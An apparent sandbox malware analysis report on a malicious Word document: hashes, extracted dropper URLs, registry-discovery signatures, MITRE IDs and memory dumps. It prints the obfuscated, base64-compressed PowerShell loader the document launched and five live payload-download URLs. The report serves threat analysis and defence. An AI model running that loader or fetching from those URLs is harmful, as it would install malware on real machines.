bbc5795107cb56b6384409ee5b4673d02355ed5db5cf8fc3a9b83d55448e4b28

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10/05/2024, 10:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

2ec64b967f828e0f0a7982c7a3e11845_JaffaCakes118.doc
Size

242KB
MD5

2ec64b967f828e0f0a7982c7a3e11845
SHA1

2ae2bc6bb73f71db3ee184d3f2a7943066f9825f
SHA256

bbc5795107cb56b6384409ee5b4673d02355ed5db5cf8fc3a9b83d55448e4b28
SHA512

5472ad8f50bd1cf14957c40ddea984e7de6cfbb13125109a321372ed4fa7c92f2615020a08c1139f1c3f670c7d46061ce07161bd7ca1a46bcaf9d7ad3c5783c8
SSDEEP

3072:UH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq53yXJm9YBmjDKzxGLWYJdCZGu:UFVeEsjdXRC3jexGG6cYWofKVcWYo

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.hzwtdjd.com/4wgp/

exe.dropper

http://www.emrekarton.com/QY1EIRru/

exe.dropper

http://limusina.barcelona/kYZyu/

exe.dropper

http://www.medicinageriatrica.com.br/9V8/

exe.dropper

http://ritelteamindonesia.com/sq0XEq31/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	264	4408	powershell.exe	80

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	264	powershell.exe
66	264	powershell.exe
67	264	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4408	WINWORD.EXE
4408	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
264	powershell.exe
264	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	264	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4408	WINWORD.EXE
4408	WINWORD.EXE
4408	WINWORD.EXE
4408	WINWORD.EXE
4408	WINWORD.EXE
4408	WINWORD.EXE
4408	WINWORD.EXE
4408	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4408 wrote to memory of 264	4408	WINWORD.EXE	85
PID 4408 wrote to memory of 264	4408	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2ec64b967f828e0f0a7982c7a3e11845_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell .( $eNv:COMspec[4,26,25]-jOin'')( new-obJEcT syStEM.io.cOmPrEsSiOn.DEfLATESTrEAm([iO.mEMOrYStREAM][ConverT]::FROMBAsE64STRinG('VZDLbsIwFER/JYtIBlHsorKgRJHog1bd9IX6oOrGcS7kEscOzqUujfj3JlmgdjtzdKSZ8CK/jQ34oU02oCi4B+JvkFxpBENRuHlYxSwjKqdCeO959uMp3aRc2UKM/boUsz8lFA5y6ciarn9ajuZ3z253ZDQWuwqN5Il0CrQ1UuTLj/3un6SAFFUDrcGhJIdKtjKeOHH+OjmSDgk0gSzQpNZAhR0lqu3p+3x7NhKML0qN1GMz1o9C1D6IAzaeTFgzyb3EIZivKUFRDtgnG7T9gHH4BhatrAOpsl7oLk2AJmgf6Nfk9nXYPMWvrTfayvQGNXTMSdAK+9GCmuHDR2cVVFWXRUljyqODkqSy+nD4BQ==' ),[iO.comPREssion.ComPREssIonmoDE]::dECOMprESs )| FOreAcH {new-obJEcT SYSteM.iO.streAmreAdER( $_ , [tExt.encOdiNG]::AsciI ) } | foREACh {$_.ReAdtOeND( )} )
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCD911B.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nkguj20b.emu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/264-38-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/264-536-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/264-39-0x00000220FDAE0000-0x00000220FDB02000-memory.dmp

Filesize
136KB

Download
memory/4408-7-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-33-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-8-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-9-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-0-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-11-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-12-0x00007FFE1FDD0000-0x00007FFE1FDE0000-memory.dmp

Filesize
64KB

Download
memory/4408-10-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-14-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-13-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-16-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-17-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-19-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-18-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-20-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-21-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-15-0x00007FFE1FDD0000-0x00007FFE1FDE0000-memory.dmp

Filesize
64KB

Download
memory/4408-6-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-36-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-37-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-1-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-5-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-4-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-3-0x00007FFE6274D000-0x00007FFE6274E000-memory.dmp

Filesize
4KB

Download
memory/4408-530-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-531-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-532-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-533-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download
memory/4408-2-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-557-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-558-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-559-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-556-0x00007FFE22730000-0x00007FFE22740000-memory.dmp

Filesize
64KB

Download
memory/4408-560-0x00007FFE626B0000-0x00007FFE628A5000-memory.dmp

Filesize
2.0MB

Download